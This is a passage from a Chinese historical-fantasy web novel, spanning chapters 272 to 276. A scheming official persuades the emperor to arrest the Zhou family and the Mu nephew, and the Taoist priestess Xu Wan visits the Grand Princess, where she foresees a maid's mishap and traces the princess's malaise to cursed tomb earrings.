身处永嘉侯府的众人,虽看不见周祎仁的表情,但仅从他的语声中,就能感受到他的无助与恐惧。 慕怀瑾轻叹一声安慰道:“你别胡思乱想。这段时日在府中安心陪伴妻儿。查案一事,就交给大理寺和我们。你放心,我们绝不会让魏志鸿得逞。” 只听传讯符中的周祎仁吸了吸鼻子,平复下情绪后,重拾信心向众人感激道: “多谢各位了。我周某若是能顺利度过此难关,出府后定亲自上门向各位拜谢。” 徐菀笑眯眯道:“拜谢倒没那么重要。周大人记得将我帮刑部做法事的香火钱,和几道传讯符的香火钱为我结清便好。” “哈哈哈哈哈...”永嘉侯府正厅内,再次响起一阵欢腾大笑。 而在这轻松欢悦的氛围中,众人却未意识到,有一只鬼也听到了他们的谈话,并深深记了下来。 === 另一边,魏志鸿的府邸之内。 魏志鸿甫一回府,管家便带着一名面相狠厉的手下,来到了他的书房。 魏志鸿望见那手下后,便挥挥手让管家出去,将书房门窗关闭,独自与手下低声交谈。 “禀大人,昨日的行动失败了。我们十名兄弟,只回来了我一个...” “什么!为何会失败!”魏志鸿瞬间暴跳如雷,“你们十个人还打不过一个乳臭未干的小子?!” 这名手下旋即下跪惶恐解释,“不是的大人。我们十名兄弟对付那小子绰绰有余。 但后来不知从何处冒出两名武艺高强的男子,一下子将我们打得落花流水。 我们只好且战且退。撤退的途中又遇到了一位官家小姐。我们本想挟持小姐作为人质来换那小子。 可那两名武艺高强的男子又来搅局,几个回合便将兄弟们全杀了。若不是我跑的早,或许也已命丧他们的剑下...” 杀手的话还未说完,魏志鸿已抄起书案上的书籍卷册朝他砸了过去。 “没用的东西!两个人就将你们杀成这样,那我平日花钱养着你们是作甚?一群废物!” 杀手被吓得瑟瑟发抖,跪在地上头也不敢抬。 如此缄默等待了半刻,魏志鸿的火气才小了一些,又向他开口问道:“最后呢?那小子被那两个男人带走了?” 杀手犹豫了一瞬,“这...应该是。” 由于他撤退之时,其余兄弟还正在与那两名男子拼杀,所以他也未看到那小子最后是否跟他们走了... 这模棱两可的话,又让魏志鸿顷刻间暴怒,“应该是?你这话是什么意思?你是不是根本没看见?混账东西!你也干脆死在那里,别回来得了!” 魏志鸿对着杀手又是一顿拳打脚踢,但杀手根本不敢闪躲,跪在那一动不动,任魏志鸿撒气。 魏志鸿撒完气继续问:“你可知那两个男子是谁?” 终于问到杀手知晓的问题了,他连忙答道:“小的听见,那位官家小姐喊他们‘冷大哥,流星大哥’。还有那位官家小姐姓慕。他们应该是相互认识的。” “冷大哥...流星...还有个小姐姓慕...” 魏志鸿虽未听过两名男子的姓名,但京城中姓慕的高官贵族,只有一家——永嘉侯慕怀瑾。 那么他所说的小姐,必定是慕怀瑾的妹妹了。 原来是慕家插手了此事。 可慕家为何会那么凑巧,在那个时候出现在那小子附近? 是巧合吗?还是说...他们也是冲着那小子去的? 思及此,魏志鸿蓦地一凛。 若真是如此,难道慕家已知晓了那小子和我的关系? 魏志鸿立时慌了,负手在书房中来回踱步。 若是他们已知晓了那小子的真实身份,又将他带进了永嘉侯府,不就是为了找到证据对付我吗? 再如若那小子身上,有能够证明当年我抛妻弃子,甚至使了什么手段成为探花的证据,那我就完了! 魏志鸿越想越可怖。 这可不似之前周家找到的那些证据,他可以咬死不认。 若那小子手上真掌握着什么密辛,将当年调包探花试卷的事调查出来,那遭殃的可就不是他一个了! 这该如何...这该如何... 魏志鸿这下彻底慌了,在书房中来回踱步半晌,心中却愈加烦躁恐慌。 突然,他转过身指着那名杀手道:“你!立刻给我去查,那小子是不是在永嘉侯府!如若在的话,必须尽快想尽一切办法把他给杀了!” 杀手霎时懵了,瞪圆了眼直愣愣望着魏志鸿,内心腹诽:我??? 就我一个人,怎么可能闯进永嘉侯府,把一个大活人杀了? 当永嘉侯府的家丁护院都是死人吗? 除非我跳进去跟那小子同归于尽... 哎...这年头做个杀手咋这么难啊... 早知道就跟兄弟们一块儿死在那两人剑下算了呜呜呜... 魏志鸿向其吼完后,转过身继续沉浸在自己的思绪之中。 可那小子昨日就已抵达永嘉侯府,如今或许已将证据和所知的一切,都告诉了慕怀瑾。 此时再将他杀了,也无济于事。 这又该如何? 魏志鸿再次负手在书房中来回踱步起来。 那名杀手纠结片刻,冒着再被踢几脚的风险,壮起胆子开口道:“大...大人,仅凭小的一人,怕是难以做到啊...” 魏志鸿果然猛地回过身,对他又是一脚,“你不会再找几个人!或者想想别的办法!给他下毒什么的!这都要让我教,要你吃干饭的吗!” 杀手吓得蜷缩在原地,再也不敢多说一个字。 行吧,看来我这条命就要交代在这儿了... 要不然...我也跑吧。 看魏志鸿这样子,明显是被对方抓住了致命把柄,慌得不知该怎么办了,说不定过不了几日便要被抓了。 我还为这种人卖命做甚? 不如现在就跑,或是当调查到他头上时,我出面做个人证,说不定还能将功补过。 如此既能保住性命,又能获得自由之身,岂不一举两得? 想到这里,杀手伏在地上,暗暗露出一抹冷笑。 第272章 272.狗急跳墙 但处于极度焦虑慌乱中的魏志鸿,却未注意到手下杀手想法的变化。 他脑中想的尽是如何先慕家一步,将慕家和周家打垮。如此,他们便无法再拿出能威胁到他的证据了。 于是,魏志鸿决定这两日再进宫一趟,亲自向皇上状告周家慕家杀害魏庆坤,企图掩盖他们买卖试题之事。不过他还得造些证据出来。 思及此,魏志鸿打算去刑部一趟,调出刑部的案卷看看,能不能找到什么线索。 此时的刑部,没有了尚书周正忠和左侍郎周祎仁,已人心惶惶,乱作一团。 包括姜灿在内的多位官员,本应在刑部待命,却也因与周正忠周祎仁交往过密,都被勒令归家休息。 魏志鸿到达刑部附近时,已是放衙之时。 大部分刑部官员正陆陆续续离开,晚间只留数名官员及衙役值班。 魏志鸿随手招呼来一名路边摆摊卖货的孩童,给了他几个铜板和一张纸条,让他去刑部门口等着,见到申大人就将纸条递给他。 此类在街上混的孩童都十分机灵,立时明白了魏志鸿的意思,点点头便向刑部大门跑去。 魏志鸿则先行去往茶楼,去二楼开了间包间坐下静静等候。 等了半个时辰,魏志鸿便从二楼隔着竹帘,看到了匆匆而来的申亮。 片刻后,申亮便来到二楼,悄无声息进了魏志鸿的包间。 申亮向魏志鸿无声行礼,魏志鸿抬手示意他在对面落座。 申亮坐下后,魏志鸿低声问道:“东西拿出来了吗?” 申亮点点头,从怀中取出一份卷宗,放在桌案上向魏志鸿推了过去,“大人,案件卷宗在此。” 原来,这位申大人便是魏志鸿安排在刑部的眼线。 申亮放衙走出刑部大门时,不知被谁往他手里塞了张纸条。 他打开一看便知是魏志鸿差人送来的,让他去刑部卷宗阁,取出魏庆坤坠楼一案的卷宗拿出来给他,并将茶楼位置告诉了他。 申亮立即返回刑部,趁着部里当前没几个人,迅速潜入卷宗阁取出了那份卷宗,之后便将其带了出去。 而申亮也正是前不久给狱卒递了酒肉,又给大牢中释放了大量花粉和柳絮的人。 魏志鸿接过卷宗打开,仔细读了起来。 他很快发现,其中的验尸卷宗很是诡异,自己儿子竟是死于内脏冻结。 而在结案卷宗中,竟赫然写着,此案乃涉及到鬼神的诡异案件。 魏庆坤被鬼魂穿胸而过,致使内脏冻结而死,之后才不慎坠楼。 看着这份案件卷宗,魏志鸿竟不由得笑了出来,“哈哈哈…查不出的案子,就说是鬼神为之。刑部就是如此办案的?” 申亮解释道:“回大人,有一些案件确实用常理解释不了。刑部便将这类案件归为诡异案件。 此类案件一般都会请佛门或道门大师来解决。而令公子的这个案子,则是由永嘉侯夫人在书院阁做法事解决的。 听闻那永嘉侯夫人,乃青云观观主,道法高强。做法当晚便将杀害令公子的鬼魂收服,之后便结案了。” “哈哈…哈哈哈…真是离谱。若是传入皇上耳中,你觉得他会信吗?” 魏志鸿笑得更欢了,心想只要拿着这份卷宗去找皇上,便能推翻此前刑部对庆坤坠楼案的结论,让皇上治周家和慕家小子的罪。 再给周家扣一个欺君罔上的罪名,够他们满门抄斩了。 想到此处,魏志鸿将一袋银子扔给申亮,道:“这份卷宗我先拿去一用,明日还是在此处还给你。 哦不…可能不用还给你。说不定皇上一气之下就将它撕了哈哈哈……” 说罢,魏志鸿站起身,似在对申亮说,又像在对他自己说:“此次定然让他周家和慕家,给我儿庆坤陪葬!” 魏志鸿决定罢,立即带着这份卷宗前往皇宫求见皇上。 皇帝景逸方用完晚膳,打算去宠妃的寝宫坐坐。 没成想太监前来通报,魏志鸿突然求见,说有要事需立刻禀报。 景逸猜到他是为了买卖试题一案前来,于是命太监带他去御书房。 魏志鸿走进御书房后,先向皇上行礼,随后便将刑部的卷宗交给皇上查看。 景逸看过后,果然勃然大怒,嗙的一声将那卷宗拍在御案上。 “岂有此理!刑部查案定案竟如此草率!查不出凶手便称是鬼神所为,简直荒唐!” 魏志鸿颔首立在御案后,暗暗露出一抹得逞的笑,继续落井下石。 “依微臣之见,刑部未必查不出凶手。正是因为凶手就是周祎仁的公子和永嘉侯侄子,刑部才会编出这样一番离谱的说辞!” “对,魏爱卿所言有理。”景逸分析道:“案发当晚只有你的公子,以及周家慕家公子在楼顶。凶手不是他们还能是谁!” 魏志鸿又道:“而且微臣还听说,此类诡异案件,刑部会请佛门或道门大师来处理。 而周祎仁请的大师正是永嘉侯的夫人。这不是他们两家串通是什么?” 说到永嘉侯夫人,景逸觉得有些耳熟。之后蓦地想起在去年的宫宴上,他似乎见过永嘉侯夫人。 印象中她是一位年仅十七的女子,号称是一观之主,还哄的大长公主极信任她。 如今想来,她竟是个神棍。 “的确如此。那永嘉侯夫人愿意出面,定是为了包庇她的侄子。” 魏志鸿见皇上已基本上认同了他的说辞,遂使出最后一个杀招。 “皇上,周家把持刑部二十余年,竟将案件办成这副模样,恐有欺君罔上之嫌。 我儿被他们害了性命事小,周家与慕家目无王法、欺君罔上事大。 请皇上一定对他们严惩不贷!” 魏志鸿说罢,扑通一声跪了下去,连连向皇上磕头。 而魏志鸿的一句“恐有欺君罔上之嫌”,直直刺中景逸的心脏。 作为帝王,最忌讳的就是臣子欺君罔上。 若是再任由周正忠周祎仁在刑部发展自己的势力,将来这刑部,就要姓周了! 第273章 273.欺君罔上 若是再任由周正忠周祎仁在刑部发展自己的势力,将来这刑部,就要姓周了! 思及此,一股莫大的愤怒与焦急涌上景逸的脑内。 “传朕的旨意,周正忠与周祎仁查案草率,擅自以鬼神之说定案,无视王法、欺君罔上。 现以杀人害命之罪,派大理寺逮捕周平章与从犯慕煜峥。另以买卖试题、欺君罔上之罪,将周正忠和周祎仁投入大理寺大牢,择日宣判处刑!” === 翌日,天色微明,东方天际还是一片鱼肚白。 周祎仁一家还在睡梦之中。 就在这时,一阵喧闹与杂乱的脚步声,自寝屋外隐约传来。 周祎仁年轻时在军中历练,之后又一直在刑部任职,向来警觉,稍有动静他便醒了过来。 将将睁开眼,刘管家惊恐慌乱的嗓音,便突然响了起来。 “老爷!夫人!不好啦!大理寺的大人们冲进来抓人啦!” 听到此言,周祎仁蓦地从床上坐了起来,外衫都来不及披,仅着亵衣便跳下床跑了出来。 身旁的秦韶华也猝然惊醒,披上外衫紧随其后而出。 方一跑出自己的院落,周祎仁便见一名司礼监总管太监,带着一队大理寺捕役,押着周平章从内院气势汹汹而出。 苍白瘦弱的周平章,一看到自己爹爹,便焦急惊惶地呼唤起来,“爹!救我啊!这些人要将我带走!我不想走啊!” 周祎仁急忙冲了过去,拦住那位太监道:“这位公公,你们这是作甚!为何突然要将我儿带走?” 谁料,周祎仁的话还未说完,一副镣铐突然咔嚓一声拷在了他的手腕上。 周祎仁当即便懵了。 总管太监夹着嗓子,不苟言笑道:“皇上有令,周正忠与周祎仁查案草率,擅自以鬼神之说定案,无视王法、欺君罔上。 现以杀人害命之罪,逮捕周平章与从犯慕煜峥去大理寺受审。 另以买卖试题、欺君罔上之罪,将周正忠和周祎仁投入大理寺大牢,择日宣判处刑!” “什么!”随后而来的秦韶华听到这番话,当即脑中轰的一声,身子一软便向地上滑去。 身边的几位丫鬟嬷嬷连忙惊叫着搀扶,才将其稳住。 周祎仁的喉结上下动了动,强迫自己冷静下来,深吸一口气道:“公公可有逮捕令?” 总管太监立即拿出印有玉玺的圣旨,摊开让周祎仁等人查看。 周祎仁一眼便看出此物为真,且一般人也不敢伪造玉玺,假传圣旨,尤其是皇上身边的太监。 亲眼见到圣旨,周祎仁的双眼如被强光刺痛,眼皮突突跳了两下,心脏也不可抑制地激烈狂跳。 圣旨上的“买卖试题,欺君罔上”几个大字,更是犹如一道道催命符,将周祎仁的神志击垮。 “这...这怎么可能...大理寺的调查结果已经出来了吗?我和我爹绝对没有买卖试题,欺君罔上!” 总管太监无心与他多言,“奴才只是奉皇命行事。周大人若是有冤,亲自与大理寺或皇上说吧。来人,把周祎仁带走!” “是!”几名大理寺捕役随即上前,一左一右架住周祎仁,将他与周平章一同往周府外带。 这时,周祎仁的小女儿周嫣也跑了出来,哭喊着叫爹爹。 “爹爹!爹爹你不要走!嫣儿怕!哥哥也不要走哇...” 秦韶华抱住周嫣,亦泪流满面地唤着他的名字,“祎仁...祎仁...” 周祎仁双目通红,在押送中奋力转过身向秦韶华喊道:“莫怕!将此事告诉怀瑾和徐观主!照顾好嫣儿,在府中等我回来!” 转眼间,周祎仁与周平章的身影便消失在了回廊转角。但他临走前的嗓音,却还在秦韶华耳边回荡。 秦韶华抱着周嫣瘫坐在地,泪水自面庞泊泊而下。 嫁给周祎仁十多载,还从未有过今日这般的恐惧绝望。 方才那太监说,要治祎仁与公公周正忠欺君罔上之罪。 欺君罔上...那可是杀头的大罪啊! 若是一着不慎,祎仁和平章可就真的回不来了! 连她自己与女儿周嫣,说不定都会受牵连被贬为奴籍,此生永不得翻身! 思及此,秦韶华愈加恐惧。 忽然又想起周祎仁临走前向她交代的话——将此事告知慕怀瑾和徐菀。秦韶华又多少燃起了些希望。 她让丫鬟嬷嬷们将她们扶起来,拉着周嫣回到他们的院落,从寝屋的柜子里找出那道传讯符,对着传讯符叫道:“菀菀?慕大哥你们在吗?” 而与此同时,永嘉侯府内,也正经历着同周府方才相同的生离死别场景。 一大早众人还在睡梦中时,另一名总管太监便带着大理寺的捕役闯进了永嘉侯府。 侯府上下毫无防备,任由他们闯进了慕煜峥所在的院落。 与原本看守在慕煜峥房外的捕役交接后,总管太监便带人闯了进去,从床榻上将慕煜峥薅了起来,拷上镣铐带出了房间。 睡在同一个院落中的慕怀清和薛敏芝听到动静赶忙出来,便看到了慕煜峥要被带走的一幕,哭天抢地拦着要将人留下。 这边的动静也惊动了松风苑的慕怀瑾徐菀,南山居的黎老夫人以及慕怀灵。 侯府中人即刻从各个院落赶了出来,终于在前厅后的花园水榭旁撞在一起。 “怀瑾,这是怎么回事啊?怎的听说有太监要来将煜峥捉拿关进大理寺大牢?” 黎老夫人前阵好不容易从慕煜峥被软禁一事中缓过劲儿来。 今日一早又听闻大理寺来拿人,不由得心慌意乱,在两位嬷嬷搀扶下急匆匆赶了出来。 慕怀灵也颇为紧张担忧,“大哥,这是真的吗?煜峥要被带去大理寺了?” 慕怀瑾示意她们稍安勿躁,随后便在出府的必经之路上,拦住了带头的总管太监和捕役等人。 慕煜峥双手被戴上镣铐,慕怀清与薛敏芝一直跟在他身边,不停向总管太监求情。 望见慕怀瑾与全家人出现,薛敏芝像是看到了救命稻草,向慕怀瑾喊道:“大哥救救煜峥!” 第274章 274.前去拜访大长公主 “大哥救救煜峥!” 慕怀瑾未受全府人慌乱焦急的情绪影响,而是迈着沉稳的步伐来到总管太监等人面前,开口道: “公公,您一大早上侯府作客,何不在正厅稍坐片刻,饮些茶与早膳,莫让侯府怠慢了您与各位捕役。” 即使在如此危急之时,慕怀瑾依然维持着从容之态,神情、语调与一举一动,无一不优雅淡定。 总管太监见到气场如此强大稳重的永嘉侯,也不禁一顿,少倾才客气地说: “侯爷客气了。奴才奉皇上之命前来拿人,要尽快去大理寺交差,不敢耽搁,还望侯爷多多理解通融。” “哦?奉皇上之命?那公公可有皇上的手谕或圣旨?”慕怀瑾从容地与之周旋: “还有敢问公公,慕煜峥在侯府软禁得好好的,皇上又是以何罪名,突然要将他押送至大理寺呢?” 管事太监无奈,只好从袖中取出圣旨,展开道:“皇上的圣旨在此!永嘉侯府听旨!” 此话一出,慕怀瑾即刻带着全府中人下跪听旨。 “奉天承运,皇帝诏曰。刑部侍郎周祎仁办案不利,致使魏庆坤于书院阁坠楼一案有诸多疑点。且周平章与慕煜峥有买卖试题之嫌。 现将此案交由大理寺再次审查,嫌犯慕煜峥亦押送至大理寺大牢受审。钦此!” 圣旨宣读罢,侯府众人起身。 脾气急躁的慕怀灵第一个质问道:“魏庆坤坠楼一案不是早就结案了吗? 他的死和我们煜峥没有半点关系。如今为何又要重审!是不是魏志鸿又向皇上禀告了什么!” 总管太监微微蹙眉,心中对慕怀灵的态度很是不满。 于是暗暗警告道:“奴才只是来奉旨拿人的,其他一概不知。还请永嘉侯配合,莫要抗旨不尊。” “抗旨不尊”说的极重,令侯府众人皆略略惶恐,不敢再言语。 慕怀瑾与徐莞此时也大致猜到发生了何事,便向总管太监道: “公公言重了。但可否请您通融通融,让我等与慕煜峥最后说几句话便走?” 慕怀瑾说着,让墨竹取出一锭银子交给总管太监。 太监垂眸睨了一眼,抬手接过藏进袖中,之后道:“那是自然。不过侯爷请莫要耽搁太久。” “好。” 话毕,总管太监带着捕役先行在正厅等候。 众人快步来到慕煜峥一家三口身旁,慕怀瑾安慰道: “煜峥怀清你们莫急。看来应是魏志鸿又在背后做了什么手脚,哄的皇上信了他的话。” 慕怀清道:“听方才那太监的意思,周大人此次怕是也受了牵连。” “对。不过你们别担心,大理寺已掌握了扳倒魏志鸿的证据。 我会去向大理寺交代让他们善待煜峥,不让他受一点委屈。并且跟进查案情况,争取尽快让他无罪释放。” 徐莞也拿出一道护身符交给慕煜峥,“煜峥,这道符你贴身带好,有防身之效。若有人想在牢中伤你,伤害会反噬其身。” “好,多谢大伯婶婶。”慕煜峥说着,转向自己爹娘,“爹娘你们也别担心,我在牢中会照顾好自己。我也相信自己能平安出来。” “好…好孩子……我们全家都会尽力帮你的!” 话毕,众人才依依不舍地望着慕煜峥走向总管太监和几名捕役。 最终带着他坚韧从容的笑容,渐渐消失在侯府门外。 黎老夫人与薛敏芝等人,早已泣不成声。 就在此时,徐莞一面安慰着她们,一面听到了袖中秦韶华的声音。 “慕大哥,菀菀?你们在吗?可以听见我说话吗?” 徐莞连忙将传讯符取出回道:“姐姐,我在。” 周围几人望见这符纸竟能发出人声,且还是他们熟识之人的声音,皆讶异又好奇。 但此时不是询问的时候,因为慕怀瑾已对着符纸问:“韶华妹子,你们府上当前如何?祎仁和平章还在府上吗?” 传讯符中秦韶华的嗓音,像是又要哭出来,“今日一大早,便有皇上身边的太监带着圣旨闯入我们府上,将祎仁与平章都抓去了大理寺。 那太监还说,我们家平章是杀害魏庆坤的凶手,而且祎仁跟我公公欺君罔上!” “啊!什么!” 永嘉侯府众人听到“欺君罔上”四个字,也不禁大吃一惊。 慕怀瑾沉声道:“方才也有一位太监带着捕役,将煜峥带走了。看来皇上是彻底信了魏志鸿的话。” “慕大哥…如今该怎么办啊……我们周家会不会……” 慕家众人皆知,秦韶华的担忧不无道理。 若皇上已下旨将周正忠和周祎仁都以欺君罔上之罪捉拿,下一步很有可能便是将他们斩首抄家。 京城四大家族之一的周家,也有可能就此消亡! 在此危急存亡之关头,慕怀瑾强迫自己冷静下来,思忖片刻后道: “韶华妹子你先别急,在府中好好待着,照顾好嫣儿。 菀菀,我记得你在去年的宫宴上结识了大长公主。如今需要你去一趟大长公主府,请她替周家向皇上与太后求情,尽量拖延定罪的时间。 我去定北王府请阿伽与我一同去大理寺寻大理寺卿,助他们尽快破案。” 徐莞听后立即点头,“好!” 随后,他们将侯府众人一一安抚好,又将府中和生意上的事务暂且托付给慕怀清,便出府分头行动。 徐莞带着东珠与朱雀白虎坐上马车向大长公主府而去。 自从上次的宫宴之后,徐莞只送了几道安神符和平安符给大长公主府上,还未亲自上门拜访过。 今日突然上门拜访,必先想好说辞。 于是,徐菀趁着在马车上的功夫,为大长公主掐了一卦。 嗯~徐菀边算边摇头。 大长公主近来似乎不太妙啊,且越算下去,事情便越复杂。 算罢,徐菀轻叹一声睁开眼。今日时间有限,仅能为她破解一小撮晦运。 其后更复杂的祸事,唯有待周慕两家之事解决后,再行助大长公主破解。 思及此,马车晃晃悠悠,逐渐减速停在了大长公主府门外。 第275章 275.未卜先知 思及此,马车晃晃悠悠,逐渐减速停在了大长公主府门外。 下了马车,徐菀抬首望去,但见大长公主府的大门气派高华,两边红墙上金瓦翠璃、雕梁画栋,果然不是一般高官贵族的宅院可比的。 徐菀一行人拾阶而上来到大门前,徐菀让东珠上前敲门,向门房说明永嘉侯夫人求见。 门房立即进府通报,不消片刻,一位嬷嬷便热情地将徐莞等人迎了进去。 “慕夫人请进。殿下已在正厅等候您了。” 徐莞谢过后,跟随嬷嬷不紧不慢地向府内走去。穿过装饰着池塘与石雕的前院,便来到了府中正厅,大长公主果然已坐在首座上品茶了。 见到徐莞出现,大长公主立即抬手示意身旁的嬷嬷扶她起身,笑容满面地向徐莞走了过去。 徐莞忙在距大长公主还有几步时,欠身行礼,“妾身参见殿下。” 大长公主今日身穿一袭绛色缂丝蝶戏牡丹大摆长裙,耳垂上的一副红翡翠滴珠耳坠,在她脸旁与颈间微微摇曳,衬托出她的大气华贵,与皇室特有的威仪。 她眉眼含笑弯身扶起徐莞,面上神采奕奕,嗓音也洪亮有力。 “菀菀快起身。你好不容易来我府上一趟,还跟本殿客气什么。快坐快坐。来人!上茶!” 徐莞温婉一笑,谢过后起身,已看出在大长公主那红润的气色下,隐约藏着一股阴晦的黑气。 但她并未在此时多说什么,而是依言在右侧客座上坐下。 随后不待大长公主开口,徐菀便忽然没头没尾地说了一句,“望殿下莫要追究那小丫鬟的不慎之罪。” 大长公主也将将在嬷嬷的搀扶下坐下,一时间有些摸不着头脑,“菀菀,你在说什么?” 就在此时,一位小丫鬟端着一张托盘,托盘上放着一杯茶盏与两碟茶点进了正厅,低眉敛目向徐菀走来。 可就在她离徐菀仅剩几步之遥时,一只脚不知怎么竟崴了一下,整个人顷刻间失去平衡,尖叫一声向前扑倒在地。 手中的托盘也飞了出去,滚烫的茶水眼看就要泼在徐菀的锦鞋与裙角上。 徐菀却似早已预料到一般,在丫鬟崴脚时,便已挪开了双脚。 那一杯滚烫的茶水,恰好泼在她脚边一寸之处,茶点也四散滚开。 立在徐菀身边的东珠惊得倒吸一口冷气。大长公主及其身旁的嬷嬷们,亦不由得发出阵阵惊呼。 下一瞬,大长公主身边的柳嬷嬷便厉声训斥道:“没用的东西!路都走不稳!若是伤到了慕夫人,你这条小命都不够赔的!” 小丫鬟吓得连忙爬起身,跪在地上连连向大长公主和徐菀磕头,“奴婢知错了!是奴婢不小心!请殿下和夫人饶命!” 大长公主秀眉微蹙,亦一脸责备地望着那丫鬟,正要开口,却蓦地想起徐菀方才的那句话——“望殿下莫要追究那小丫鬟的不慎之罪。” 大长公主心中倏然一凛,抬眼向徐菀看去,“菀菀,你可是早已算到了这丫鬟会不慎跌倒?” 徐菀淡然点头,“回殿下,正是。” 大长公主即刻露出恍然又钦佩的表情,“原来如此。本殿就说你怎能如此敏捷地躲开那茶水,原来是早就算准了呀。” 徐菀淡淡一笑道:“殿下过奖了。这小丫鬟乃无心之失,训斥她几句便是,您就莫要责罚她了,将来恐有大用呢。” 徐菀如此一说,大长公主心中对那小丫鬟的不耐瞬间消失,仅对她嘱咐了句,“慕夫人为你求情呢,还不快多谢慕夫人。” 小丫鬟带着满脸泪水,转过身又哭又笑地向徐菀磕头感谢,“奴婢多谢慕夫人!多谢殿下!今后做事定当愈加仔细,不负殿下和慕夫人的信任!” 大长公主心中的不快已尽数消失,向她挥挥手道:“把地上的都收拾了,再叫个人来重新奉茶。” “是,殿下。” 小丫鬟忙不迭爬起身,手脚麻利地收拾好散落一地的茶盏和茶点,随后便快步退了下去。 不一会儿,又一位稍稍年长的丫鬟为徐菀端来了茶水和茶点。这回倒是没出什么岔子,一切顺顺利利。 而方才那件事,又让大长公主对徐菀的看相卜卦之术刮目相看。 “菀菀真是厉害,竟能算准还未发生之事。简直是有未卜先知之能啊。” 徐菀颔首笑着打趣道:“殿下已将妾身夸过一遍了,再夸下去,妾身可就要飘起来了。” 心中却暗暗美滋滋想着,小小大长公主,我徐菀略施小计便让你如此佩服。稍后再向你展示一二,你还不得把我供起来。 果然,大长公主听后开怀大笑起来,“哈哈哈...菀菀说话也如此有趣。 若是你能做本殿的干女儿,经常来我府上陪我说说话该多好啊。可惜你已是永嘉侯的夫人了,永嘉侯怕是不舍得放人呐。” 徐菀听罢,低下头羞赧一笑,“菀菀不敢当。不过菀菀今后只要有空,会多来殿下府上陪您的。您别嫌我烦便好。” 一来一回的几句话,让大长公主心情大好。而后她才想起问徐菀此次前来的目的。 “年前本殿发帖邀请你与永嘉侯来府上参宴,你们都未赴宴。今日怎么突然想着来府上看望本殿了?” 徐菀想起年前正是他们被困于镜中世界内,危机解除后又忙于准备慕煜衡与刘云蕊的纳妾礼,因而未能顾得上大长公主这边。 徐菀稍做解释后,大长公主也理解,并无怪罪之意。而徐菀接下来的几句话,却让她大为吃惊。 “今日菀菀贸然前来殿下府上,是因算到了一些事。” “哦?你又算到了何事?” “如今已是三月底,清明时节即将到来。每逢清明前夕,人人多少都会忆起自己已故的亲人。 像殿下您如此重情重义之人,必定会忆起孝慎太皇太妃。而过度思念故人,轻则会致食欲不振,失眠难安。重则甚至会心思郁结,积郁成疾。 菀菀便是考虑到此,担心殿下过于思念孝慎太皇太妃,所以才来贸然前来,陪您说说话,解解闷。” 第276章 276.红翡翠耳环上的阴晦之气 “菀菀便是考虑到此,担心殿下过于思念孝慎太皇太妃,所以才来贸然前来,陪您说说话,解解闷。” 听罢徐莞的一番话,大长公主颇为感动,“菀菀真是有心了。 近来本殿确实时常想起母妃。且不仅是母妃,还时常想起我那三年前过世的夫君……” 原来,大长公主的夫君,乃前鸿胪寺卿贺青霖。 鸿胪寺负责接待外官朝觐,外国诸番朝贡,以及一切国之重大典礼。 因此贺大人不但学富五车,还走遍了盛国周围五大异国,十分了解当地的文化传统。 也正是这一点,深深吸引了年轻时爱冒险的大长公主。 二十余年间,两人一同游历过五大异国,与盛国大江南北,留下了许多难忘的回忆。 就在大长公主以为,两人往后一直会像从前那般,一年去一地游历时,贺大人却在三年前,突染疾病身亡。 “……我当时根本接受不了他的离世,消沉抑郁了大半年。 如今已过了三年,我才渐渐从青霖的离世中走出来。 但每到清明时节,总会想起他对我说过的,要在清明时节带我去渝州,看那里的杏花雨。 可这句承诺…却永远无法兑现了……” 大长公主与贺大人的故事讲完,在场众人无不感慨动容。向来情绪充沛的东珠,甚至都低下头抹起了眼泪。 “我与青霖仅育有一个女儿,女儿又远嫁给了湖州知府,一年都难回来看本殿一次。 如今又恰逢清明,本殿独自一人待在这偌大的宅院里,更觉清冷孤苦。 不过今日你能来府上陪本殿说说话,我也觉得胸口舒坦多了。” 大长公主将近来心中的郁结之绪,一口气讲述完,顿感轻松了不少。 徐莞颇为理解地安慰道:“能为殿下分忧,是菀菀的福气。 若是我没猜错的话,您耳垂上佩戴的这副红翡翠滴珠耳坠,也是贺大人送给您的吧?” 大长公主下意识地摸向右侧的耳坠,略微惊讶道:“你怎么知道?” 徐莞条理清晰地分析道:“我国境内不产红翡翠。红翡翠仅在位于漠北的乌兹国有产。 而看这对红翡翠的成色与质地,必然乃红翡翠中的上品。 由此推测,这对耳坠要么是乌兹国使者进贡的贡品,特意送给贺大人做礼物。贺大人再将其送给您。 要么便是殿下与贺大人在乌兹国游历时,贺大人特意挑选出的上品作为礼物送给您。” 徐莞之所以对红翡翠如此熟悉,皆因道门中的某些高深秘术,需要使用红翡翠磨成的粉末。 在青云观时,师父总提醒她红翡翠很稀有,让她省着点用。所以徐莞便记下了。 徐莞的一番话说完,大长公主及其身边的几位嬷嬷,皆用一种震惊钦佩的目光望着她。 “菀菀果真料事如神呐!”大长公主惊叹道: “这对耳坠确实是乌兹国进贡来的礼品。青霖特意将其送给本殿,作为三十岁生辰的礼物。 这对耳坠对我意义非凡,因此每年清明时节和青霖的忌日时,本殿都会佩戴上,以表对他的思念。” “原来如此,殿下真是重情重义之人。贺大人的在天之灵定会倍感安慰。” 徐莞说完,随后突然话锋一转,又道:“可是殿下,这对耳坠恐对您的身子不利。” 大长公主蓦地一怔,“什么!菀菀所言何意?” “殿下,近来您是否感觉食欲不振,体虚无力,整日困乏,晚间又睡得不踏实?” “是啊。你如何会知晓?这些症状与我这耳环有关?”大长公主下意识地摸向那红翡翠耳环,目露惶然。 “方才一进正厅望见殿下时,我就发现您眉眼间略有疲态,且眼下有淡淡青黑,显然近来未休息好。 并且更为关键的是,我还观察到您印堂上有一团阴晦之气。阴晦之气常见于风水极阴的陵墓中,或阴暗潮湿的巢穴之中。 您印堂上的阴晦之气,便是来源于那副红翡翠耳环。因此菀菀推测,这副耳环应是从陵墓中挖掘出的古物,其上便带了极重的阴晦之气。 正常人受到阴晦之气影响的表现,便是气虚体乏、精神困倦,畏寒易病,且多梦难眠。所以殿下您应是受了这幅耳环上阴晦之气的影响,才导致如今的状态。” 大长公主听罢大惊,捂住心口惶恐道:“天爷啊,竟还有这样的说法! 方才菀菀你一说我才想起,青霖确实曾对我说过,这副耳环是乌兹国刚建国时,一位王后的陪葬之物。 后来王后的陵寝被盗,其中的陪葬物皆流入民间。乌兹王族后来从民间搜寻回了一些,其中便有这副耳环。因质地上乘,便将其作为了进贡之物。 难怪本殿每年戴上这副耳环时,都会有不适之感。我还以为是自己过度思念青霖导致的,原来竟是因这上面的阴晦之气。” 大长公主细想之下更觉身上一阵阵发冷,忙不迭将那副耳环从耳垂上取下,厌恶地拍在身边的案几上,蹙眉避之不及。 